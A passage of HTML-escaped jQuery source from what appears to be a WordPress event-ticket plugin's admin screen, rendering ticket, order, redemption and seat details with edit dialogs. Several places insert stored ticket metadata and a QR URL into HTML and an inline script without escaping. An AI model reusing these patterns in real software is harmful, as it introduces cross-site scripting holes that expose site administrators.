									$(&#039;&lt;button&gt;&#039;).html(_x(&#039;Display QR with URL&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(btn_grp).on(&quot;click&quot;, e=&gt;{
										let id = &#039;qrcode_url_&#039;+d.code+&#039;_&#039;+time();
										let qr_content = d.metaObj._QR.directURL;
										let content = _x(&#039;This QR image contains&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;br&gt;&lt;b&gt;&#039;+qr_content+&#039;&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(&quot;&#039;+qr_content+&#039;&quot;);&lt;/script&gt;&#039;;
										LAYOUT.renderInfoBox(_x(&#039;QR with URL and code&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content);
									});
								}
								div.append(&#039;&lt;div/&gt;&#039;);

								// male die Inhalte
								div.append(&#039;#&#039;+d.id+&#039;&lt;br&gt;&lt;b&gt;&#039;+_x(&#039;Created&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+DateFormatStringToDateTimeText(d.time)+&#039; (&#039;+d.time+&#039;)&lt;br&gt;&lt;b&gt;&#039;+__(&#039;Ticket number&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+d.code+&#039;&lt;br&gt;&lt;b&gt;&#039;+__(&#039;Ticket display number&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+d.code_display+&#039;&lt;br&gt;&lt;b&gt;&#039;+_x(&#039;Code Verification Value (CVV)&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+(d.cvv == &quot;&quot; ? &#039;-&#039; : d.cvv)+&#039;&lt;br&gt;&lt;b&gt;&#039;+__(&#039;is active&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+(parseInt(d.aktiv,10) === 1?&#039;True&#039;:&#039;False&#039;));
								div.append(_displayCodeDetails(d, metaObj, tabelle_codes_datatable));

								div.append(&#039;&lt;h3&gt;&#039;+_x(&#039;WooCommerce Order&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
								if (!_getOptions_Versions_isActivatedByKey(&quot;is_wc_available&quot;)) {
									div.append($(&quot;&lt;div&gt;&quot;).css(&quot;color&quot;, &quot;red&quot;).html(__(&quot;WooCommerce not found&quot;, &#039;event-tickets-with-ticket-scanner&#039;)));
								}
								div.append(&#039;&lt;b&gt;&#039;+_x(&#039;OrderId&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039; + (parseInt(d.order_id) === 0 ? &#039;-&#039; : &#039;#&#039;+d.order_id+&#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039;+d.order_id+&#039;&amp;action=edit&quot;&gt;&#039;+_x(&#039;Show in WooCommerce Orders&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt;&#039;));
								if (typeof metaObj[&#039;woocommerce&#039;] !== &quot;undefined&quot;) {
									if (metaObj.woocommerce.order_id !== 0) {
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Order from&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(DateFormatStringToDateTimeText(metaObj.woocommerce.creation_date)+&#039; (&#039;+metaObj.woocommerce.creation_date+&#039;)&#039;)));
										if (dataMeta.woocommerce &amp;&amp; dataMeta.woocommerce._order_status) {
											div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Order Status&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(dataMeta.woocommerce._order_status)));
										}
										if (dataMeta.woocommerce &amp;&amp; dataMeta.woocommerce._billing_email) {
											div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Billing Email&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(dataMeta.woocommerce._billing_email)));
										}
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Product Id&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).html(metaObj.woocommerce.product_id+&#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039;+encodeURIComponent(metaObj.woocommerce.product_id)+&#039;&amp;action=edit&quot;&gt;&#039;+_x(&#039;Show Product&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt;&#039;)));
										if (dataMeta.woocommerce &amp;&amp; dataMeta.woocommerce._product_name) {
											div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Product&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(dataMeta.woocommerce._product_name)));
										}
										if (dataMeta.woocommerce &amp;&amp; dataMeta.woocommerce._variation_attributes) {
											div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Variation&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(dataMeta.woocommerce._variation_attributes)));
										}
									}
								}
								if (typeof metaObj.wc_ticket.subs !== &quot;undefined&quot; &amp;&amp; metaObj.wc_ticket.subs.length &gt; 0) {
									div.append(&#039;&lt;h4&gt;&#039;+__(&#039;Related Subscriptions&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h4&gt;&#039;);
									metaObj.wc_ticket.subs.forEach(sub=&gt;{
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Subscription Id&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).html(sub.order_id+&#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039;+encodeURIComponent(sub.order_id)+&#039;&amp;action=edit&quot;&gt;&#039;+_x(&#039;Show Subscription&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt; [&#039;+DateTime2Text(sub.date)+&#039;]&#039;)));
									});
								}
								if (parseInt(d.order_id) &gt; 0) {
									div.append($(&#039;&lt;div style=&quot;margin-top:10px;&quot;&gt;&#039;).html($(&#039;&lt;button&gt;&#039;).addClass(&quot;button-delete&quot;).html(_x(&#039;Delete WooCommerce order info for this ticket&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
										LAYOUT.renderYesNo(_x(&#039;Remove order&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: ticket number */__(&#039;Do you really want to remove your order information of this ticket &quot;%s&quot;? This will also remove the ticket number from the order! For the PREMIUM PLUGIN: It will only remove it from the position of the order. If you have in one order more than one item with ticket number, then it will only remove the ticket number(s) from this item on the order. For the BASIC PLUGIN, it will remove all tickets from all items on this order. Click OK to proceed the removal.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), d.code_display), ()=&gt;{
											_makeGet(&#039;removeWoocommerceOrderInfoFromCode&#039;, {&#039;code&#039;:d.code}, _codeObj=&gt;{
												//tabelle_codes_datatable.ajax.reload();
												__getData(_codeObj);
											});
										});
									})));
								}

								div.append(&#039;&lt;h4&gt;&#039;+__(&#039;WooCommerce ticket sale&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h4&gt;&#039;);
								div.append(_displayWCETicket(d, tabelle_codes_datatable));

								div.append(&#039;&lt;h3&gt;&#039;+__(&#039;WooCommerce Purchase Restriction&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
								if (typeof metaObj[&#039;wc_rp&#039;] !== &quot;undefined&quot;) {
									if (metaObj.wc_rp.order_id !== 0) {
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Used for Order ID&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).html(&#039;#&#039;+metaObj.wc_rp.order_id+&#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039;+encodeURIComponent(metaObj.wc_rp.order_id)+&#039;&amp;action=edit&quot;&gt;&#039;+_x(&#039;Open WooCommerce Order&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt;&#039;)));
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Order from&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_rp.creation_date)));
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Product Id&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;s:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).html(metaObj.wc_rp.product_id+&#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039;+encodeURIComponent(metaObj.wc_rp.product_id)+&#039;&amp;action=edit&quot;&gt;&#039;+_x(&#039;Show Product&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt;&#039;)));
										div.append($(&#039;&lt;div style=&quot;margin-top:10px;&quot;&gt;&#039;).html($(&#039;&lt;button&gt;&#039;).addClass(&quot;button-delete&quot;).html(__(&#039;Remove purchase ticket information&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
											LAYOUT.renderYesNo(__(&#039;Remove purchase ticket information&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: ticket nummer */__(&#039;Do you really want to remove the purchase ticket information from the order of this ticket &quot;%s&quot;? This will remove the also the ticket(s) from the order items! This ticket can then be reused for purchases. Click OK to proceed the removal.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), d.code_display), ()=&gt;{
												_makeGet(&#039;removeWoocommerceRstrPurchaseInfoFromCode&#039;, {&#039;code&#039;:d.code}, _codeObj=&gt;{
													//tabelle_codes_datatable.ajax.reload();
													__getData(_codeObj);
												});
											});
										})));
									} else {
										div.append($(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Used for Order ID&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; -&#039;));
									}
								}

								div.append(&#039;&lt;h3&gt;&#039;+_x(&#039;Registered user&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
								div.append(_displayRegisteredUserForCode(d, metaObj, tabelle_codes_datatable));

								div.append(&#039;&lt;h3&gt;Redeem operations&lt;/h3&gt;&#039;);
								div.append(_displayRedeemOperationsForCode(d, metaObj));

								div.append(&#039;&lt;h3&gt;&#039;+_x(&#039;IP list checked for this ticket&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
								if (isPremium()) {
									div.append(PREMIUM.displayTrackedIPsForCode(d.code));
								} else {
									div.append(getLabelPremiumOnly());
								}

								if (isPremium() &amp;&amp; PREMIUM.displayCodeDetailsAtEnd) div.append(PREMIUM.displayCodeDetailsAtEnd(d, tabelle_codes_datatable, metaObj));

								div.append(&quot;&lt;hr&gt;&quot;);
							});
						}
						__getData();
	    				return div;
	            	}

	        		var tr = $(this).closest(&#039;tr&#039;);
	        		var row = tabelle_codes_datatable.row( tr );
	        		if ( row.child.isShown() ) {
	            		// This row is already open - close it
	            		row.child.hide();
	            		tr.removeClass(&#039;shown&#039;);
	        		} else {
	            		// Open this row
	            		row.child( ___format(row.data()) ).show();
	            		tr.addClass(&#039;shown&#039;);
	        		}
				});
				cbf &amp;&amp; cbf();
			}); // end getOptions
		} // render layout

		renderInfoBox(title, content, displayPlain) {
			let _options = {
				title: title,
		      	modal: true,
		      	minWidth: 400,
				minHeight: 200,
		      	buttons: [{text:_x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				click: function() {
		      		$(this).dialog(&quot;close&quot;);
		      		$(this).html(&quot;&quot;);
		      	}}]
		    };
		    let dlg = $(&#039;&lt;div/&gt;&#039;);
			if (displayPlain) {
				dlg.text(content);
			} else {
				dlg.html(content);
			}
			dlg.dialog(_options);
			return dlg;
		}
		renderSpinnerShow() {
			this.div_spinner.css(&quot;display&quot;, &quot;block&quot;);
		}
		renderSpinnerHide() {
			this.div_spinner.css(&quot;display&quot;, &quot;none&quot;);
		}
		renderFatalError(content) {
			return LAYOUT.renderInfoBox(_x(&#039;Error&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content);
		}
		renderYesNo(title, content, cbfYes, cbfNo) {
			let _options = {
				title: title,
		      	modal: true,
		      	minWidth: 400,
				minHeight: 200,
		      	buttons: [{text:_x(&#039;Yes&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;), click:function(){
		      		$(this).dialog(&quot;close&quot;);
		      		$(this).html(&quot;&quot;);
		      		cbfYes &amp;&amp; cbfYes(dlg);
		      	}},{text:_x(&#039;No&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;), click:function(){
		      		$(this).dialog(&quot;close&quot;);
		      		$(this).html(&quot;&quot;);
		      		cbfNo &amp;&amp; cbfNo();
		      	}}]
		    };
		    let dlg = $(&#039;&lt;div/&gt;&#039;).html(content);
			dlg.dialog(_options);
			return dlg;
		}
	}

	function _displayCodeDetails(codeObj, metaObj, tabelle) {
		let div = $(&#039;&lt;div/&gt;&#039;);
		function __getData(_codeObj) {
			if (_codeObj) { // um eine Aktualisierung in das codeObj aufzunehmen
				updateCodeObject(codeObj, _codeObj);
			}

			div.html(&quot;&quot;);
			if (codeObj.meta !== &quot;&quot;) {
				let metaObj = getCodeObjectMeta(codeObj);
				if (typeof metaObj.confirmedCount !== &quot;undefined&quot;) {
					div.append($(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;b&gt;Confirmed count:&lt;/b&gt; &#039;+metaObj.confirmedCount));
					if (metaObj.confirmedCount &gt; 0 &amp;&amp; metaObj.validation) {
						if (metaObj.validation.first_success != &quot;&quot;) {
						div.append($(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;b&gt;First successful validation at:&lt;/b&gt; &#039;+metaObj.validation.first_success));
						div.append($(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;b&gt;First successful validation IP:&lt;/b&gt; &#039;+metaObj.validation.first_ip));
						}
						if (metaObj.validation.last_success != &quot;&quot; &amp;&amp; metaObj.validation.last_success != metaObj.validation.first_success) {
							div.append($(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;b&gt;Last successful validation at:&lt;/b&gt; &#039;+metaObj.validation.last_success));
							div.append($(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;b&gt;Last successful validation IP:&lt;/b&gt; &#039;+metaObj.validation.last_ip));
						}
					}
				}
				let btngrp = $(&#039;&lt;div style=&quot;margin-top:10px;&quot;&gt;&#039;);
				if (typeof metaObj.used !== &quot;undefined&quot;) {
					div.append(&quot;&lt;h3&gt;Code marked as used&lt;/h3&gt;&quot;);
					if (metaObj.used.reg_request !== &quot;&quot;) {
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request from:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(DateFormatStringToDateTimeText(metaObj.used.reg_request)+&#039; (&#039;+metaObj.used.reg_request+&#039;)&#039;)));
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request by wordpress user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.used.reg_userid)));
						if (metaObj.used._reg_username) div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request by wordpress user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.used._reg_username)));
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request from IP:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.used.reg_ip)));

						btngrp.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-delete&quot;).html(&#039;Delete ticket used information&#039;).on(&quot;click&quot;, function(){
							LAYOUT.renderYesNo(&#039;Remove usage information&#039;, &#039;Do you really want to remove the usage information of this ticket &quot;&#039;+codeObj.code_display+&#039;&quot;? This will also reset the &quot;Confirmed count&quot; to 0.&#039;, ()=&gt;{
								_makeGet(&#039;removeUsedInformationFromCode&#039;, {&#039;code&#039;:codeObj.code}, _codeObj=&gt;{
									//tabelle.ajax.reload();
									__getData(_codeObj);
								});
							});
						}));
					} else {
						div.append(&quot;Not used - still available&quot;);
					}

					btngrp.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-edit&quot;).html(&#039;Edit wordpress user information&#039;).on(&quot;click&quot;, function(){
						// display eingabe maske für userid
						function __showMask(){
							let _options = {
								title: &#039;Edit requested wordpress user&#039;,
								modal: true,
								minWidth: 400,
								minHeight: 200,
								buttons: [
									{
										id: &#039;okBtn&#039;,
										text: &quot;Ok&quot;,
										click: function() {
											___submitForm();
										}
									},
									{
										text: &quot;Cancel&quot;,
										click: function() {
											$( this ).dialog( &quot;close&quot; );
											$( this ).html(&#039;&#039;);
										}
									}
								]
							};
							let dlg = $(&#039;&lt;div /&gt;&#039;);
							let form = $(&#039;&lt;form /&gt;&#039;).appendTo(dlg);

							let elem_userid = $(&#039;&lt;input type=&quot;number&quot; min=&quot;0&quot; value=&quot;&#039;+metaObj.used.reg_userid+&#039;&quot; /&gt;&#039;);
							$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
								.html(&#039;Requested wordpress userid&lt;br&gt;&#039;)
								.append(elem_userid)
								.appendTo(form);

							dlg.append(&#039;&lt;p&gt;Changes will trigger the webhook, if activated.&lt;br&gt;The IP will be updated too. The requested date will only be changed, if it was not set already.&lt;/p&gt;&#039;);
							dlg.dialog(_options);

							form.on(&quot;submit&quot;, function(event) {
								event.preventDefault();
								___submitForm();
							});
							function ___submitForm() {
								let reg_userid = intval(elem_userid.val().trim());
								dlg.html(_getSpinnerHTML());
								let _data = {&quot;reg_userid&quot;:reg_userid};
								form[0].reset();
								_data.code = codeObj.code;
								$(&#039;#okBtn&#039;).remove();
								_makeGet(&#039;editUseridForUsedInformationFromCode&#039;, _data, _codeObj=&gt;{
									//tabelle.ajax.reload();
									__getData(_codeObj);
									closeDialog(dlg);
								}, function() {
									closeDialog(dlg);
								});
							}
						} // ende __showMask
						__showMask();
					})); // end button-edit
				}
				div.append(btngrp);

				if (isPremium()) div.append(PREMIUM.displayCodeDetails(codeObj, tabelle, metaObj));
			} // endif codeObj.meta !== &quot;&quot;
		}
		__getData();
		return div;
	}

	function _displayWCETicket(codeObj, tabelle) {
		let div = $(&#039;&lt;div/&gt;&#039;);
		function __getData(_codeObj) {
			if (_codeObj) { // um eine Aktualisierung in das codeObj aufzunehmen
				updateCodeObject(codeObj, _codeObj);
			}

			div.html(&quot;&quot;);
			let metaObj = getCodeObjectMeta(codeObj);
			if(metaObj) {
				if (typeof metaObj.wc_ticket != &quot;undefined&quot; &amp;&amp; typeof metaObj.wc_ticket.day_per_ticket != &quot;undefined&quot;) {
					div.append($(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;Date per Ticket (chosen by customer):&lt;/b&gt; &#039;+metaObj.wc_ticket.day_per_ticket +&quot; &quot;).append(
						$(&quot;&lt;button&gt;&quot;).html(&quot;Edit&quot;).on(&quot;click&quot;, ()=&gt;{

							let _options = {
								title: &#039;Edit Ticket Date&#039;,
								modal: true,
								minWidth: 400,
								minHeight: 200,
								buttons: [
									{
										id: &#039;okBtn&#039;,
										text: &quot;Ok&quot;,
										click: function() {
											___submitForm();
										}
									},
									{
										text: &quot;Cancel&quot;,
										click: function() {
											$( this ).dialog( &quot;close&quot; );
											$( this ).html(&#039;&#039;);
										}
									}
								]
							};
							let dlg = $(&#039;&lt;div /&gt;&#039;);
							let form = $(&#039;&lt;form /&gt;&#039;).appendTo(dlg);

							let elem_input = $(&#039;&lt;input type=&quot;date&quot; value=&quot;&#039;+metaObj.wc_ticket.day_per_ticket+&#039;&quot; /&gt;&#039;);
							$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
								.html(&#039;Date per Ticket (yyyy-mm-dd).&lt;br&gt;&lt;b&gt;Very important to not break the date format and syntax, if you want to change the date!&lt;/b&gt;&lt;br&gt;&#039;)
								.append(elem_input)
								.appendTo(form);

							dlg.dialog(_options);

							form.on(&quot;submit&quot;, function(event) {
								event.preventDefault();
								___submitForm();
							});
							function ___submitForm() {
								let v = elem_input.val().trim();
								dlg.html(_getSpinnerHTML());
								let _data = {&quot;value&quot;:v, &quot;key&quot;:&#039;wc_ticket.day_per_ticket&#039;};
								form[0].reset();
								_data.code = codeObj.code;
								$(&#039;#okBtn&#039;).remove();
								_makeGet(&#039;editTicketMetaEntry&#039;, _data, _codeObj=&gt;{
									//tabelle.ajax.reload();
									__getData(_codeObj);
									closeDialog(dlg);
								}, function() {
									closeDialog(dlg);
								});
							}
						})
					));
				}
				if (typeof metaObj.wc_ticket != &quot;undefined&quot; &amp;&amp; typeof metaObj.wc_ticket.name_per_ticket != &quot;undefined&quot;) {
					div.append($(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;Name per Ticket (product detail setting):&lt;/b&gt; &#039;+metaObj.wc_ticket.name_per_ticket +&quot; &quot;).append(
						$(&quot;&lt;button&gt;&quot;).html(&quot;Edit&quot;).on(&quot;click&quot;, ()=&gt;{

							let _options = {
								title: &#039;Edit Ticket Name&#039;,
								modal: true,
								minWidth: 400,
								minHeight: 200,
								buttons: [
									{
										id: &#039;okBtn&#039;,
										text: &quot;Ok&quot;,
										click: function() {
											___submitForm();
										}
									},
									{
										text: &quot;Cancel&quot;,
										click: function() {
											$( this ).dialog( &quot;close&quot; );
											$( this ).html(&#039;&#039;);
										}
									}
								]
							};
							let dlg = $(&#039;&lt;div /&gt;&#039;);
							let form = $(&#039;&lt;form /&gt;&#039;).appendTo(dlg);

							let elem_input = $(&#039;&lt;input type=&quot;text&quot; value=&quot;&#039;+metaObj.wc_ticket.name_per_ticket+&#039;&quot; /&gt;&#039;);
							$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
								.html(&#039;Name per Ticket&lt;br&gt;&#039;)
								.append(elem_input)
								.appendTo(form);

							dlg.dialog(_options);

							form.on(&quot;submit&quot;, function(event) {
								event.preventDefault();
								___submitForm();
							});
							function ___submitForm() {
								let v = elem_input.val().trim();
								dlg.html(_getSpinnerHTML());
								let _data = {&quot;value&quot;:v, &quot;key&quot;:&#039;wc_ticket.name_per_ticket&#039;};
								form[0].reset();
								_data.code = codeObj.code;
								$(&#039;#okBtn&#039;).remove();
								_makeGet(&#039;editTicketMetaEntry&#039;, _data, _codeObj=&gt;{
									//tabelle.ajax.reload();
									__getData(_codeObj);
									closeDialog(dlg);
								}, function() {
									closeDialog(dlg);
								});
							}
						})
					));
				}
				if (typeof metaObj.wc_ticket != &quot;undefined&quot; &amp;&amp; typeof metaObj.wc_ticket.value_per_ticket != &quot;undefined&quot;) {
					div.append($(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;Value per Ticket (product detail setting):&lt;/b&gt; &#039;+metaObj.wc_ticket.value_per_ticket +&quot; &quot;).append(
						$(&quot;&lt;button&gt;&quot;).html(&quot;Edit&quot;).on(&quot;click&quot;, ()=&gt;{

							let _options = {
								title: &#039;Edit Ticket Value&#039;,
								modal: true,
								minWidth: 400,
								minHeight: 200,
								buttons: [
									{
										id: &#039;okBtn&#039;,
										text: &quot;Ok&quot;,
										click: function() {
											___submitForm();
										}
									},
									{
										text: &quot;Cancel&quot;,
										click: function() {
											$( this ).dialog( &quot;close&quot; );
											$( this ).html(&#039;&#039;);
										}
									}
								]
							};
							let dlg = $(&#039;&lt;div /&gt;&#039;);
							let form = $(&#039;&lt;form /&gt;&#039;).appendTo(dlg);

							let elem_input = $(&#039;&lt;input type=&quot;text&quot; value=&quot;&#039;+metaObj.wc_ticket.value_per_ticket+&#039;&quot; /&gt;&#039;);
							$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
								.html(&#039;Value per Ticket&lt;br&gt;&#039;)
								.append(elem_input)
								.appendTo(form);

							dlg.dialog(_options);

							form.on(&quot;submit&quot;, function(event) {
								event.preventDefault();
								___submitForm();
							});
							function ___submitForm() {
								let v = elem_input.val().trim();
								dlg.html(_getSpinnerHTML());
								let _data = {&quot;value&quot;:v, &quot;key&quot;:&#039;wc_ticket.value_per_ticket&#039;};
								form[0].reset();
								_data.code = codeObj.code;
								$(&#039;#okBtn&#039;).remove();
								_makeGet(&#039;editTicketMetaEntry&#039;, _data, _codeObj=&gt;{
									//tabelle.ajax.reload();
									__getData(_codeObj);
									closeDialog(dlg);
								}, function() {
									closeDialog(dlg);
								});
							}
						})
					));
				}
				// Seat information
				if (typeof metaObj.wc_ticket != &quot;undefined&quot; &amp;&amp; typeof metaObj.wc_ticket.seat_id != &quot;undefined&quot; &amp;&amp; metaObj.wc_ticket.seat_id) {
					let seatInfo = metaObj.wc_ticket.seat_label || metaObj.wc_ticket.seat_identifier || (&#039;Seat #&#039; + metaObj.wc_ticket.seat_id);
					if (metaObj.wc_ticket.seat_category) {
						seatInfo += &#039; (&#039; + metaObj.wc_ticket.seat_category + &#039;)&#039;;
					}
					div.append($(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;&#039;+__(&#039;Seat&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039; + seatInfo));
				}
				if (typeof metaObj[&#039;woocommerce&#039;] !== &quot;undefined&quot; &amp;&amp; metaObj.woocommerce.order_id !== 0 &amp;&amp; typeof metaObj.wc_ticket !== &quot;undefined&quot;) {
					if (metaObj.wc_ticket.set_by_admin &gt; 0) {
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Ticket set by admin user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_ticket._set_by_admin_username+&#039; (&#039;+metaObj.wc_ticket.set_by_admin+&#039;) &#039;+metaObj.wc_ticket.set_by_admin_date)));
					}
					if (metaObj.wc_ticket.redeemed_date != &#039;&#039;) {
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Redeemed at:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(DateFormatStringToDateTimeText(metaObj.wc_ticket.redeemed_date)+&#039; (&#039;+metaObj.wc_ticket.redeemed_date+&#039;)&#039;)));
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Redeemed by wordpress userid:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_ticket.userid)));
						if (metaObj.wc_ticket._username) div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Redeemed by wordpress user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_ticket._username)));
						div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;IP while redeemed:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_ticket.ip)));
						if (metaObj.wc_ticket.redeemed_by_admin &gt; 0) {
							div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Redeemed by admin user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.wc_ticket._redeemed_by_admin_username+&#039; (&#039;+metaObj.wc_ticket.redeemed_by_admin+&#039;)&#039;)));
						}
						if (metaObj.wc_ticket.redeemed_via_authtoken_id &gt; 0) {
							var tokName = metaObj.wc_ticket._redeemed_via_authtoken_name || &#039;&#039;;
